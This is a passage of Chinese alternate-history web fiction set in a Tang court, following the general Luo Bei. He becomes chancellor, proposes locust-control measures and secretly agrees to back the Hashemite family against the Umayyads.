洛北笑道:“碛西不是什么好地方,陛下,它不似关中富贵,不似江南繁茂,不似山东闲适。一年到头,风沙大雪,皮衣总也脱不下来但那是微臣的家乡,是微臣部族所居之地。” “好吧,朕答应你。”李重俊点了点头,“还有什么条件?” “请陛下准许微臣保留‘洛北’此名。” “连赐姓也不要?”李重俊歪了歪脑袋看他。 洛北道:“微臣此生因缘际会,用过无数姓名。唯有做洛北时,是与平凡百姓在一起。我用这个名字当过草原上的奴隶,做过行走边关的郎中、逃犯,哦,还有凉州的参军。所以微臣用此名以警示自己,不可忘民,不可忘本。” “这就是朕为什么选中了你。”李重俊笑着拍过他的肩膀:“身居高位,战无不胜,还能一心为民者,除了你洛卿者,别无他人。好吧,这一条朕也答应你。” 洛北叩首在地:“微臣谢主隆恩。” 更漏声穿过重重帘幕,洛北被幽灵一样的上官婉儿带出宫禁,似乎听见遥远的驼铃——那是碛西商队穿过玉门关的声响。但他向上望去时,只看到大明宫檐下垂落的风铃。 第268章 自此,洛北入朝拜相,总揽天下军务。 隆熙三年四月十二日, 朝廷下发敕书嘉奖吐蕃战役中的有功之臣,凉州都督郭知运升任北庭都护,安西副都护哥舒亶接任安西都护, 玉门军使盖嘉运升任北庭副都护兼伊吾军使, 哥舒翰、慕容曦光、李嗣业等将领皆有封赏,随同出征的各部子弟,奉命出兵的突厥左贤王阙特勤也得了不少赏赐。 此战主帅也是最大功臣,碛西镇守使、碎叶郡王、西突厥十姓可汗洛北以功勋卓著晋为兵部尚书,拜为特进, 加开府仪同三司、改碎叶郡王为碛西郡王,再增实封五百户。 自此,洛北入朝拜相, 总揽天下军务。这一年,他刚刚三十一岁。 雨后的朱雀大街上,一切血迹都已经不见踪迹。中书舍人萧嵩捧着诏书走出丹凤门时, 正听见门下省廊下两名给事中低声议论: “碛西郡王加兵部尚书已是逾制, 陛下连他碛西镇守使的权力都没解开。这哪是拜相,分明是要再造个霍光” “嘘——”年长的给事中突然噤声,目光扫过廊下捧着花盆走过的宫女,他把声音压了又压:“听说昨夜政事堂的蜡烛燃到寅时, 宋相公连茶盏摔碎了几个” 紫宸殿东暖阁里,宋璟的象牙笏板在手中发抖:“陛下!胡汉有别!洛将军虽功在社稷, 终究是西突厥阿史那家的子弟,又在西域做久了西突厥大汗。若他起兵叛乱,后果不堪设想!” 病榻上的李重俊支起身子, 依旧是呛咳一阵才开口:“你们不要忘了……在武三思把他打入黑牢百般折磨之前,他都是以凉州来的汉人洛北自居的。” 宋璟道:“可胡人拜相, 是本朝未有之制!” “这你可就错了,宋相公。太宗时期的卫国公、英国公皆有貌类胡人的说法,他们不都还是做了大唐宰相,为大唐征战四方?” 李重俊不愠不怒,温声和宋璟辩论: “朕倒一直觉得三代以后再论这些是个荒唐的说法。你可见过洛北的幼弟阿史那震?那孩子是阿史那献与成纪姑姑的儿子,自小在长安长大,几乎突厥话也不会说了,生得也是一副汉人相貌,朕打算等他再大些,就召他入宫陪伴皇子。宋相公,这样的孩子,你还觉得他是‘非我族类,其心必异’吗?” 皇帝勉强撑着手臂直起身:“再说,胡人不得拜相的规矩,究其根源,不过是这些胡人不晓诗书,连篇文赋都写不出来,更别谈行文用章,处理政务了。洛北虽然不长于文采,也是做过兵部员外郎和职方司郎中的,怎么就不能入阁拜相?” 宋璟气急无奈,只得长长叹息一声。事到如今,他甚至不敢立即用封驳权力驳回这道诏书。 皇帝重病如此,急召自己的东宫旧臣入朝,显然是想顾命托孤——他若是一意孤行地反对下去,难免皇帝不多想。 相王与谯王密谋宫变的案子,如今可还没有定论啊! “微臣与洛北相交已久,并不是怀疑洛将军的忠心。”宋璟退让半步,“只是他年纪太轻,官爵太高,怕是木秀于林,风必摧之。陛下也应当为洛将军自己考虑才是。” 李重俊轻轻笑了一声,他和这位以刚正著称的宰相缠斗太久,此刻气力已经耗尽,他重新躺回了病榻上,笑道:“宋相公,这你是多虑了。”话语间隙之间,两声呛咳从唇边溜了出来,“朕不解除他持使节镇碛西的职权,便是这个考虑。” 宋璟顿时哑口无言,他想说洛北临朝拜相,又掌控一方,要不皇帝还是加赐节钺、再加个剑履上殿赞拜不名来得痛快。但皇帝重病如此,他不敢再争论下去,只得躬身道礼,退出皇帝的内殿。 李重俊看着他离开的背影,用手背遮住了眼睛: “就算他真当了皇帝,又能如何?他既无家室,又无子嗣,这份家业能传给谁?宋相公还是没想明白啊……” 几乎与此同时,与宫城还有一段路程的兵部衙门厢房里,姚崇端着茶盏,定定地望着房中悬挂着的那副地图发愣——这是兵部所存的唯一一副由当时还是职方司郎中的洛北亲手绘制的地图。 雨后潮湿的地面生出了几处青苔,不知是谁脚下打滑,廊下录事们的嬉笑声一阵响过一阵。姚崇微微皱眉,把茶盏往一边桌上轻放,发出一声轻响。 兵部侍郎张说自外间走进来,见他把那副地图拿了出来,心底先是一笑,面上却不得不做出一副恭敬姿态:“姚相公。” 年前的乌海之战一结束,姚崇就被皇帝自兵部尚书擢升到尚书右仆射的位置上,但还要代为署理兵部事务。 当时朝野都猜测是姚崇简在帝心,陛下是要借着这个机会酬功。但如今一看——皇帝大概是从那个时候就起了召回洛北的心思。 姚崇扫他一眼,见这位素来热爱高谈阔论的属下兴致缺缺,知道他内心也在为这任命担忧,开口道: “你看看这副地图,苏毗、象雄、吐谷浑等国故地都标得一目了然,洛北大概在那个时候,就起了拆解吐蕃的心思。” 姚崇不叫他坐,张说也只能站着:“洛将军确实是天纵奇才,不然也不能在十余年内就为我大唐荡涤四方,澄清玉宇。如此功勋,亘古少有。可陛下对他厚恩如此,也是前无古人的。” 他见姚崇静默不言,又道:“卑职听闻宋相公今日入宫朝见,非要请陛下收回成命不可。姚相公觉得,他能成功吗?” 姚崇的指尖在地图边缘轻轻摩挲,忽听得张说这般试探,抬眼时已换了副云淡风轻的神色:“道济何时也关心起宋相公的谏言了?” 张说被这声“道济”唤得脊背微僵。自姚崇拜相,就再没这般亲昵唤过他的表字。他索性撩起绯袍下摆,自己坐在了姚崇对面:“因为我以为姚相公也会和宋相公站在一道,反对此任命。” “为什么?”姚崇似乎第一次听到此话:“因为洛北年轻,又出身突厥王族阿史那氏?” 张说颔首道:“陛下念及旧日东宫情谊也罢了,姚相公不会也念着灵武道的旧情吧?我听说,洛北第一次入朝还是您和宋相公举荐的呢。” 姚崇神色一僵:“这等旧事,我都忘了。”他不想和张说谈及旧事,干脆站起身来,袖手而立:“你见了他就知道,他为人光明正大,把天下苍生看得比自己重得多,确实是当世难得一见的人才。” “当年举荐他的时候宋相公也是这么说的吗?” “宋相公当然也是这么想的。陛下只发了手敕,宋相公也是宰辅,若要反对,直接封驳就是了。何必折腾这一遭?”姚崇道,“我看,朝野反对此任命的人会比你想象的少得多。” 张说轻轻一笑,心中却忍不住想起未来——他和自己的这位新任上司没打过几回交道,反倒是和洛北的心腹褚沅相熟。从前往来文会上的时候,也没想到那位年轻的褚女史能到今日的高位上。 相较之下,倒显得他这些年蹉跎了许多。 “论人品才貌,或许还有的比。”他在心中暗自叹了口气:“要论年纪轻轻便官居高位,入阁拜相,我怕是这辈子也赶不上了。” 一切正如姚崇所料,随着宋璟与皇帝几番辩驳都以偃旗息鼓告终,这项任命正式以制书的形式下发——满朝文武几乎无一反对,就连民间百姓都是一片赞颂之声。 在这样的声音里,吐蕃请婚使的车驾缓缓地驶入了长安城。 请婚使穷桑倭儿芒掀开锦帘一角,望着丹凤门鎏金鸱吻在雨雾中若隐若现,拇指重重擦过腰间玛瑙刀柄,那是老祖母赤玛雷送给她的子孙们的礼物之一。 他出身于吐蕃赤玛雷的家族没庐氏。当年吐蕃第一次求娶大唐公主,便是出于赤玛雷的授意。如今由她的子孙来到长安,算得是一种友好的延续。 说是“请婚”,其实他们手中的那封国书已与跪地投降没有多大区别:割地、贡赋、人质、大唐入藏“顾问” 一看就知道是出自精通部族事务的官员之手,把吐蕃人的空间限制得死死的,一点喘息的空间也没留下。 正在他沉思之际,外面一群群欢笑的儿童声音打乱了他的思路。 “他们在说什么?”穷桑倭儿芒问坐在车驾前的侍从。 那侍从分外机灵,也精通汉蕃两种语言,他侧耳听了一会儿,如实相告:“他们在歌唱赞颂洛北将军的童谣。” “是这样”穷桑倭儿芒闭上眼,靠在马车背上,即使是再躁动不安的吐蕃将军,看着在苏毗境内修葺的唐人守捉城都得熄了心思,安心与大唐演好甥舅之盟。 可是大唐当真一点弱点也没有吗? 他想到此处,坐直了身体,他已经备好了一份礼物,等着那位战无不胜的洛北将军在长安栽个大跟头。 “将军,鸿胪寺的人来了。”通译官的低语打断了他的沉思。他理了理衣袍,下马车参拜,却看到那位年轻的鸿胪寺官员衣带上挂着的紫金鱼袋。 “鸿胪寺少卿褚沅。”绯袍女官抬起头来与他们对视,脸上带着一点温和的笑容,“在此恭候多时了。” 第269章 “这是我的治军之道——军民合一,方能天下无敌。” 诏命下发的次日, 长安城连绵的大雨终于停了。晨光从云端泻下来,正照在热闹的政事堂门前。 这一日不是朝日,皇帝李重俊因病也没有召见大臣, 但朝中宰相的车马却齐聚政事堂前—— 他们在等洛北。 以边将身份入朝拜相, 首次踏入政事堂的洛北。 政事堂前庭的青砖还泛着雨后的湿气,洛北踏过水洼时,脚步声惊飞了檐下躲雨的燕子。 他仰头望着朱漆大门上的鎏金牌匾,心里却不禁想起多年前郭元振给他的寄语:“凭借你的身份才情,边关才应该是你的翱翔之地。京城那个危机四伏的金笼子, 不太适合你。” “郡王请。”通事舍人的声音将他拉回现实。紫袍玉带的英俊青年解下腰间那把极少离身的陨铁唐刀时,指尖不自觉地停留了一瞬。 他的动作立刻被廊下当值的起居郎记入本中:“四月壬辰,碛西郡王入政事堂, 释兵刃如仪。” 政事堂里飘着浮浮沉沉的安息香,奉命参知政事的苏颋、岑羲和张孝嵩到的都比他要早,正聚在那里聊天, 见到他时, 张孝嵩笑开了一双俊朗的眉眼:“郡王安好。” “孝嵩何必。”洛北只受了他半礼,就伸手把他扶了起来,又示意苏颋和岑羲:“两位相公也不必多礼。” 苏颋笑道:“当年我到访碎叶,深觉民风淳朴, 衣冠俨然,百姓安居乐业, 有胜于中原,我当时便想,郡王才德如此, 理当入阁拜相,操持政务。如今终于与郡王在政事堂中相会, 可谓是因缘早定。” “苏相公这话说的倒像是你举荐大将军入的阁。”岑羲笑道:“我与大将军不曾有过交往,但你当年挺身而出,怒斥武三思的风姿可是朝野皆闻。” 他与洛北同因与五王相熟,被武三思视为眼中钉,肉中刺,今日提起,算是有些“同病相怜”。 洛北一笑,正要说些什么,萧至忠已经带着宋璟和姚崇一左一右地走了进来。姚崇还是板正着面容,袖中塞着好几份要商议的奏疏。一贯有“阳春”之称的宋璟却也是一脸严肃,倒把政事堂内众人看得心里发毛。 但无论如何,这几人都要同堂共事许多时光,一番兵荒马乱的互相见礼之后,萧至忠开口道: “碛西郡王以大功入朝为相。诸位同僚都应当见过了。但愿日后我们能通力合作,共襄盛世,再造贞观之风。” 他说了几句不咸不淡的客套话,就让众人同坐,又召中书舍人萧嵩入内,要与众人商议朝中大事。宋璟却突兀地敲了敲桌案: “萧相公,按照旧例,新拜宰相当献策论。不知洛尚书准备了什么?《平戎十策》还是《西域屯田疏》?” 张孝嵩神色一变:这是什么时候加出来的规矩?!他和苏颋、岑羲拜相的时候可从来没有这个说法!在场众人,也只有姚崇拜相之前向朝廷提过《十事》要略。 他下意识地往洛北的方向看去——莫说没有准备,便是有准备,洛北这位边将出身,谙熟边事的新任宰相也不可能抛开边事的话题。可只要他开口谈论边事,便会正中宋璟的圈套。 洛北英俊的脸上倒是平静如常,和以往战场上一样无悲无喜。张孝嵩甚至能从他金棕色的眼眸中看出一点疲惫,似乎已经厌倦了朝堂上的这些把戏。 “我确有奏疏要奏请各位相公商议,不过无关边事。”洛北从袖中抽出一封奏疏,铺开在案几上:“这是我的《请灭蝗疏》。” 屋中霎时一片寂静,苏颋等人是没想到宋璟竟会开口发难,更没想到宋璟被洛北打了个措手不及。姚崇却腾地一下从位置上站起了身:“郡王要议的是蝗灾?!” “是,我自青海还朝,曾经亲眼见到大地干旱,蝗虫钻地之景。”洛北道:“且不说大旱之下收成如何,蝗虫过境,百草不生,到时候只怕百姓连草木都没得吃。” 宋璟皱眉道:“洛将军这是什么意思?姚相公月前好像已经上过一篇《捕蝗令》了吧?你今日重提此议——” 这是连姚崇一道指责了进去。姚崇正要开口为他和洛北辩解。洛北已经应了一声:“不错,宋相公,正是因姚相《捕蝗令》尚未施行。今日我才要旧事重提。” 他从袖中取出一副地图,地图上已用朱笔勾勒出了受灾区域:“飞蝗过境,绵延千里,如果朝廷不及时处置,等着我们的就是饿殍相望的景象。” “朝廷是水,百姓是舟。水可载舟,亦可覆舟。”姚崇起身附和:“大将军有安邦定国之心,算是与我不谋而合。” 他走到地图之前,密密麻麻的朱砂小楷惊得他倒吸冷气,洛北已经按照户部的存档,将当地的田亩情况、民生风土都简写了上去。其人用心之深,可见一斑。 萧至忠捻着胡须道:“贞观二年,太宗亲执蝗虫而食,曰宁食朕肺腑,毋伤百姓禾稼。太宗前事在此我赞成把灭蝗之事当成头等大事来办。” “百姓是朝廷之本,我们不能做无本之木,无根之水。”苏颋道,“我与孝嵩、岑羲皆赞成。” 萧嵩低头把此事记在案上,又好奇地看向地图上那些赤红的标记,那些蜿蜒的线条仿佛把一个个郡县呈在眼前。 他不由得轻轻叹了口气,他是南朝梁国的皇族后裔,也是参军出身的,谙熟边事。可如今,他论年纪比洛北大了十岁有余,论官职却比洛北矮了太多。 听闻洛北拜相之时,他心中也未尝没有时运不济的感怀:若当年去西域的人是他,说不定平灭突骑施,重定西域的功劳会落在他的头上。如今一看,洛北的才能人品皆是令人心折—— 他年纪轻轻便能踞此高位,不是没有道理的啊。 宋璟开口道:“大将军既然提此建议,心中定当有了对策。你打算如何扑灭蝗灾?” “焚其卵于未生,杀其虫于方长。”洛北道:“我曾看过,每只雌蝗腹中有卵三百,十日便可成灾。所以我要州县置办铜斗,每捕一斗蝗虫,可换一斗粟米。” “荒唐!”宋璟拍案而起,“你这是要掏空国库?” “宋相公可知饿殍相食时,暴民会掏空什么?”洛北转过头去与他对视,一双金瞳在阳光之下熠熠生辉,几乎有种逼人的魄力,“若是天下大饥,难道朝廷不应该拨粮赈灾?如今只是把赈灾粮提前发给百姓,有何不可?” 萧至忠的茶盏停在唇边。他忽然想起三日前面圣时,病榻上的皇帝笑着告诉他: “现在的宰相们在长安待得太久,有时候连想法也如出一辙,洛北出身与众人不同,又久历边事,叫他入朝拜相,也有为诸位开思路的意思。” “郡王所言甚是。”姚崇突然出声,他似乎抓到了什么隐隐约约的思路,“但之前各州反对,都是说人力不足。” “府兵。”洛北嘴唇轻轻开合,道出了两个字。 张孝嵩一时没有明白他的意思:“将军的意思是?” “突厥、青海、吐蕃战事皆平。原本征召入队的府兵,都可以带着赏赐和功勋回家了。” 这位新任兵部尚书终于在此刻露了峥嵘: “但这些人久在战场,目之所见都是风霜雨雪,生生死死,一下子回到往日的平常生活中,难免不习惯。或是把战场中那些好勇斗狠,轻言生死的习惯带了回来。所以,我想把这些老兵重新组织起来,让他们投入灭蝗之中去。” 宋璟冷笑一声:“大将军,你对自己的士兵如此有信心吗?要知道,自垂拱年间府兵制败坏,逃籍者十之四五。而今要让这些老兵回乡治蝗,你就不怕他们聚众为乱?” 洛北迎着他的目光,也轻轻笑了:“宋相公,这是我的治军之道——军民合一,方能天下无敌。” 他顿了顿,似乎在等着宰相们从这句有些傲气的话中反应过来: “行军打仗,士兵们想要知道的不过是几个简单的问题:我们是谁,我们的敌人是谁,我们为什么要打仗。而聚众为乱者,往往是从第一个问题上就出了错。所以我要他们回到百姓之中去,让他们与百姓共同作战,接受百姓的爱戴。这样他们才能意识到自己不仅是射向敌人的箭,也是拱卫百姓的盾。” 张孝嵩拊掌大叹: “妙啊,这样的建议,非是精通军务的洛将军才能提出不可!我还有个建议,请御史台派遣御史为督查使,巡查各道。一是监督府兵的军纪,二是督促各州灭蝗。” 姚崇也忍不住笑了,他想起洛北在鸣沙的时候,就曾让赤水军为鸣沙百姓修河堤,在于阗时让于阗守军为百姓搭屋子。在碛西时做的就更多了,春天的时候屯田,秋天的时候割麦子,冬天还会抽调军队去帮各部百姓修缮房屋和毡帐 难道说,这些看似无心,甚至有害于训练的日常,竟是这位大唐军神战无不胜的不传之秘吗? 宋璟盯着洛北腰间空荡荡的蹀躞带——那柄威震西域的陨铁唐刀此刻正悬在政事堂外的金吾卫手中,可眼前这人谈笑间布下的棋局,比任何兵器都要锋利。 姚崇起身道:“我愿在洛相公的奏疏上署名。”他转头看向宋璟,“宋相公觉得如何?” 宋璟沉默不言,许久之后,人们听见他极轻地说了一句:“好吧,我也赞成。” 第270章 “真遇到了这样的沉疴,就只有靠虎狼之药才能治。” 此事一经议定, 政事堂内再度沉寂下来。只有日光自外投入屋内时光柱照耀下飞起的尘埃还在舞动。 宋璟没能如自己所愿给洛北一个下马威,一时间偃旗息鼓,闭口不言。 洛北神情温和, 无悲无喜, 立在那里,紫色袍袖翻飞,似乎真的像一尊照拂世间的神明偶像。 “既然此事已经议定,诸位还有什么事情要议论的?”萧至忠见状,连忙开口拉回了秩序。 他这一声终于把众人的心也拉了回来, 礼部尚书苏颋率先开口,要商议此次春闱之后的安排。 与前朝不同,大唐宰相的权力被分散到几个不同的部门, 由许多人共同负责。按照贞观时期的制度,天子的诏书、敕令、国家的政令都需要经过这几个部门反复磋商,共同讨论才能予以颁布实施。 那个时候, 政事堂就是诸位宰相讨论、决断之所。自李重俊登基以来, 他仿照贞观旧制,重新启用群相制度,政事堂也重新恢复了往日生机—— 苏颋的提议一出,众人也都换回了平常议事的状态, 开始讨论种种要务。这一讨论,便到了晌午。 “诸位相公, ”杂役的禀报打断了众人的讨论:“天子赐食来了。” “陛下到底是偏爱你的。”萧至忠一边笑着起身预备谢恩,一边与洛北交头接耳:“你看这葡萄酒,是不是眼熟得很?” 洛北定睛望去, 那葡萄烧酒上的封泥还有碎叶城的印章——大概是他在碛西时进贡到长安来的。平常这些事情都是褚沅在操持,他并未关心。但皇帝在此时把这瓶酒拿出来赐予宰相, 显然是请求宰相们看在天子情分上,对新入政事堂的洛北客气些。 “当时那瓶御酒赐下,我就想去看看宋相公的反应,可惜我座次太后,实在看不到他的表情,实为一大憾事。” 几日后的终南别居,张孝嵩还笑着与洛北论及此事,“但我也没想到,洛将军真准备了一本《灭蝗疏》来。” 洛北道:“我此次班师回朝,有一部分路程就在旱灾地区,当地百姓生计已是苦不堪言。若再有蝗灾,只怕是要饿死人。百姓的事对我们来说是头等大事,故而我一入政事堂,便要和宰相们商议此事。” “但我还有一事没有想明白。”张孝嵩道:“洛将军想把府兵组织起来的用意是什么?总不能只是为了一次灭蝗吧?” 他话音未落,洛北的脸上已经露出那种计谋被言中时才有的狡黠笑容: “孝嵩知我啊。孝嵩,你是吏部侍郎,应当知道朝廷官员有一大弊病,便是百官都喜欢在京任职,不喜欢到地方上去?” 被授予官职之人往往挑剔清浊、任地,已成朝廷吏治的一大心病,不光谏官,就连张孝嵩自己都屡次上疏言及此弊。但朝廷屡次政令都被百官视为无物, 可如今洛北提及此事,显然是有深意的—— 张孝嵩手中茶盏微微一滞,盏中涟漪映出他骤然明亮的眼神:“你想恢复贞观年间勋官入朝的旧制,将边军将领填入州县空悬之位?” “不错!”洛北笑道:“自高宗朝以来,地方制度败坏,许多地方已经被世家大族把持。有的刺史都要看他们眼色行事。哪怕碛西,也是如此。当年沅儿在碛西清丈田亩,竟有书吏敢当堂撕毁鱼鳞图册。” 张孝嵩察觉到他话语里的冷意:“虞国夫人如何处置的?” “罢、流、杀。”洛北平静地道:“真遇到了这样的沉疴,就只有靠虎狼之药才能治。她受我全权委托,镇守地方,我总不能这点便宜行事的权力都不给她。” 张孝嵩轻轻叹了口气:“褚夫人是褚夫人,这些勋官门可不是人人都像褚夫人那样在朝中执掌了多年文书,能谙熟这套官场法则。” 洛北起身推开雕花木窗,终南山岚雾漫进室内: “名单是由我兵部来出,我会设立数道考试筛选,保证筛出来的人各个都是既能提刀抓贼,又能执笔录事的人物。但官场风雨,总要自己经历了才知道。” “说是来散心,你俩怎么又在谈论公务。”窗外忽有马蹄声碎,十数匹骏马停在道旁。为首的还未踏进屋舍,便有一声带着调侃的笑语传来。 这开口的自是他俩共同的朋友,风流才子王翰,他浑身绫罗,腰间的蹀躞带上挂着数样金玉饰品,端的是一位久在长安的富豪子弟。唯有跳下马来时的矫健身姿才显出几分碛西风沙的历练。 洛北轻笑着转开话题:“我和孝嵩正为了此次入吐蕃‘顾问’的大臣人选头疼,正要找你这位交游广阔的大才子给我推荐推荐人选。” 这是洛北的另外一桩心事。他从青海归来时就在思索这个人选,但到了此刻也没能定下。 诚然,他麾下的诸多将领之中自然有人愿意前往,可他们久在沙场,未必熟悉官场上那套复杂的行事逻辑,放他们自己在逻些城行事,是可能出乱子的。 “那你洛公子可得亲自给我倒杯酒才行。”王翰一掀衣袍,自顾自地在他下首落座:“因为我还真给你带来了一个人选。” “什么人?”张孝嵩好奇道:“不是近来在长安大名鼎鼎那个少年王——” “不是。”王翰摇头否认,可他的深沉在洛北和张孝嵩的目光下坚持不到半刻,就破了功:“哎呀,萧舍人,你还是自己出来吧。” 中书舍人萧嵩?洛北在政事堂与他打过照面,此刻萧嵩一身素色圆领袍,倒比平日那个绯袍舍人显出几分从容。他缓步出列,向洛北和张孝嵩道礼:“见过郡王、张相公。” 洛北虚扶了他一把:“萧舍人不必多礼,你是贵胄出身,又求娶了世家大族的女儿,合该在长安施展身手,为什么想要自请出塞?” “郡王是想听真话,还是假话?”萧嵩问。 “假话是什么?” “假话是,为了督抚一方,震慑吐蕃,为大唐守一个四方安宁。” 张孝嵩笑着问:“那若是说真话呢?” “为了像郡王一样,入朝拜相,执掌大权。”萧嵩坦然道:“我是世家出身,但不善于文采,这个中书舍人的位置,我是如坐针毡。但我是参军出身,谙熟边务,家传佛学渊博,也懂得捭阖纵横之术。去吐蕃,再合适不过。” 张孝嵩一怔,而后又反应过来——萧嵩是南朝梁国后人,“家传佛学渊博”这几个字形容他们家也算是恰如其分。但他还是有一点疑虑: “吐蕃苦寒,逻些城的贵胄多有部曲,并不是易与之辈。” “此事我已经思虑过了。”萧嵩从袖中拿出一卷文书,“这是我的策论,请郡王和张相公详览。我此去吐蕃,有三点可以利用。” “其一,吐蕃赞普自大败之后一直不理政务,外戚尚族与久任大论的韦氏相争,可谓主少国疑。我可以与金城公主联手,联弱制强。” “其二,赞普崇佛,但各家贵胄犹有崇尚苯教者,这佛、苯之争也可为我利用,行借力打力之计,于吐蕃纵横捭阖。” “其三,大唐在苏毗有重兵,大军压境,可以时时演练,以为震慑。” 洛北微微颔首:“还有其四,自苏毗叛乱以来,各部渐生离心,若善加利用——” “不愁吐蕃不唯大唐是瞻!”萧嵩笑着接了话。 “此事事关重大,不可由我一人决定,总要付于朝廷公论。”洛北道,“但我对萧舍人有个建议,在公论之前,你可以学些吐蕃话。” 萧嵩双眼一亮:“下官谢过郡王指点!” 待到萧嵩满心欢喜的退出屋外,王翰才起身笑道:“两位,现在公事可算谈完了,我的那些仆役们大概也把坐席、案榻都摆好了,你们不妨把朝务放一放,入席来与我们一道松快松快?” 他对张孝嵩眨了眨眼:“刚刚张相公提到的那位少年今日也来的,张相公就不想见见?” “什么少年?”他俩这样神神秘秘,倒引起了洛北的好奇。 “一看洛公子入长安以来都只埋首公案,没有关心过长安的新闻。”王翰率先起身:“从蒲州来了个叫王维的少年人,年仅十七,容貌俊秀不说,还能写诗,能绘画,能歌舞,能弹琵琶,是长安城最近最炙手可热的才子。” 洛北和张孝嵩对视一眼,知道久不摆出这些排场的王翰被长安的熏风一吹,又起了摆排场、论派头的心思。 可是他俩如今都身居高位,不好逆着朝廷“节俭”的作风行事,都想找个理由起身告辞,可这请辞的话还没开口,忽听得山间传来清脆的琵琶声。那弦音初时细若游丝,如溪水破冰,渐渐化作万壑松风。 众人循声望去,但见山道上行来一匹青骢马,鞍上少年白衣胜雪,怀中横抱琵琶一把,正用手指弹拨四弦如飞。 王翰以掌击节笑道:“说曹操曹操便到!” 几人都移步出了正堂,洛北走在最后,他倚在朱漆廊柱上,见那少年在十丈外勒马收弦。 残阳正将终南群峰染作金红,他的袍服被山风吹拂而起,长发随同衣袖一道翻飞,倒像是古画中走出来的仙童。 “阿兄。”褚沅自廊后转出来,虽然此刻不在朝中,她还穿着大唐官员的绯色袍服,见到王维时,忽而一顿:“这是谁?” “看来不关心长安新闻的不止我一个。”洛北笑笑地转向她,“刚刚王翰说,这是长安最炙手可热的才子——王维。” “褚夫人也来了!”王翰本在同张孝嵩引荐王维,听到褚沅声音,面露笑容,“褚夫人可是大忙人,今日怎么来了?来得正好,今日的文会,你须得下场不可。” “虞国夫人与我尚有公务要议。”洛北摆了摆手,“诸位尽欢,不必顾及我们。” 他拉着褚沅走过即将举行宴饮的院中,转回别居中的一处水榭之中:“大食的客人来了?” 270-280 第271章 “他们说您是星象预言中的群星之主,将要给整个大食带来变革。” 此事尚要追溯回大食宰相哈贾吉去世之时, 自这位铁腕宰相与他扶立的哈里发相继去世,大食帝国内部震荡频繁。 每次一有新的总督和将军被派来帝国东部,大唐的波斯都督府就要承担一次战乱的骚扰, 丝绸之路上的商旅来往也要被暂停——这当然不是洛北和褚沅所乐见的情况。 自回归碎叶城之后, 褚沅便与留守木鹿城的吴钩一道积极派遣使节进入大食,为大唐寻找值得信任的大食盟友。 终于功夫不负有心人,他们找到了隐居在海岸村庄的圣裔家族。他们和大部分已经厌倦了目前大食帝国现状的阿拉伯人不同,这个家族有足够的能力进行一次改朝换代。 “他们姓哈希姆,家族中曾经出过大食帝国的首任哈里发, 对大食人很有号召力。如今他们的家族首领叫做阿里。” “我们的使者在和阿里密谈之后,他向我们派遣了两位使节,一位是波斯人, 一位则是他的子侄,他们从伊拉克到达长安,整整花了两年功夫。” 褚沅说话之间, 王训进了水榭低声禀报:“他们来了。” 他替来人掀起了水榭的珠帘, 才退到一边。 两名头缠白巾的异域人躬身而入,各自抚胸行礼,他们身上金线刺绣的阿拉伯长袍在暮色中泛着珍珠般的光泽。 “这位是纳尔辛·本·扎尔,是波斯王庭的星相师后裔。也是我的译语人。”褚沅用流利的波斯语介绍那位年长的使者, 他深陷的眼窝里嵌着两颗深褐色的眼眸人,“另一位是哈希姆家族的使者, 阿卜杜勒。” “以天神之名问候伟大的将军,丝路的守护者。”阿卜杜勒单膝跪地,他捧出一只嵌满青金石的银匣, 说着不太纯熟的波斯话:“我代表我的叔叔向您献上礼物。” 洛北接过银匣,匣中躺着的是一柄精钢所制作的匕首和一副大食帝国的舆图。 洛北的手指轻轻叩击匕首的刀身, 日暮的辉光落在刀身上,竟隐隐显出流水般的锻纹。 “我也向伟大的大唐将军敬献我的礼物。”纳尔辛也单膝跪地,双手捧给洛北一只星盘——蓝色的星盘上饰以各色宝石,纹样繁复,几有千金之贵。 “我并非大唐的君主。你们不必给我这些礼物。” 洛北这话是用大食语说的,惊得年轻使者猛然抬头,他的大食话还残存着一点长安官话的腔调,但已经能让每个人都能听懂。 “即使不予以我这些礼物,我也愿意为你们提供帮助。”洛北温声道,“两位请起吧。” 阿卜杜勒有些愕然:“那将军需要我们做什么?” “目前而言,需要你们广泛地团结国内一切反对篡权的伍麦叶家族的势力,利用你们的影响力早日团结出一支能够征战的军队,举起反抗的旗帜。”洛北伸手在波斯故地上轻轻一划,“作为交换,我们将提供给你们必须的财物与军械。” 阿卜杜勒瞪大了眼睛,在他的家族四处游走寻找支持的这些年里,他从未见过如此慷慨的条件,也从未见过如此爽快的谈判对象:“那您需要我们……我们付出什么?” “放弃你们对波斯都督府的侵扰,让我部族的子弟在呼罗珊的土地上自由地生活。和我一起守卫丝路的和平,保证东西的漫漫商路上的驼铃长鸣。开放你们的书本和典籍,让你们的学者到我们的文馆中教授知识,以及让丝路上悬挂唐旗的商队将畅行无阻,无需缴纳任何关税和贡赋。” 洛北说到这里,在那两位使者的紧张目光下顿了顿:“不过这些都是你们执政之后的事情。离你们还太过遥远……” “不,有了大唐的帮助,那一天一定会很快到来。”阿卜杜勒的激动之心溢于言表,“我代表叔叔,以天房黑石为誓——当哈希姆家族的黑旗取代伍麦叶的白旗时,丝路将流淌着蜜与奶。我们将与大唐永结盟好,绝不背叛!” 纳尔辛苍老的脸上也显出惊异的神情,他低头看看星盘,又看看洛北,脸上写满了不敢相信。 “对天神的誓言很珍贵,但我们需要一份盟约,白纸黑字的盟约。” 褚沅适时地开口以大食话打断众人,她的大食话说的不像波斯话那么熟练: “但今日已经很晚,我已经请人为两位和你们的随从准备好了卧房,你们可以在此安歇一夜,我们还有很多时间来谈判种种细则。” 纳尔辛和阿卜杜勒倒退着出了水榭,直至走远,褚沅还能听到他们以波斯话低声交谈。 “他们在谈什么?”洛北好奇地问。 褚沅侧耳听着:“似乎在谈论阿兄到命运在星盘中的位置。”她轻轻一笑,“他们说您是星象预言中的群星之主,将要给整个大食带来变革。” 水榭外夜鹭掠过水面的轻响掩掉了洛北的轻笑:“和这些大食人交谈也是件令人头疼的事情啊,沅儿,一会儿你代我去警告他们,此话绝不可外传。” 王训好奇道:“伯克为什么要如此慷慨地予以他们援助?他们如今只是默默无名的小卒子,连发动起义的勇气都没有,更别说击败大食的现任君主了。” “大食国内情况复杂,掺杂着各色矛盾,部族之间、贵胄之间……稍有摩擦便会引起一场血战。”这次是褚沅开口给王训解释,“这个家族是在大食国内最能团结一切可团结的力量的家族,所以我和吴经略使才选中了他们。” “可它看起来像笔有去无回的买卖。”王训嘟囔道。 “比起时不时受到大食侵扰带来的损失,我们在哈希姆家族身上的投入不过九牛一毛。”洛北拍了拍王训的肩,“倒是你,应该开始学大食话了。” 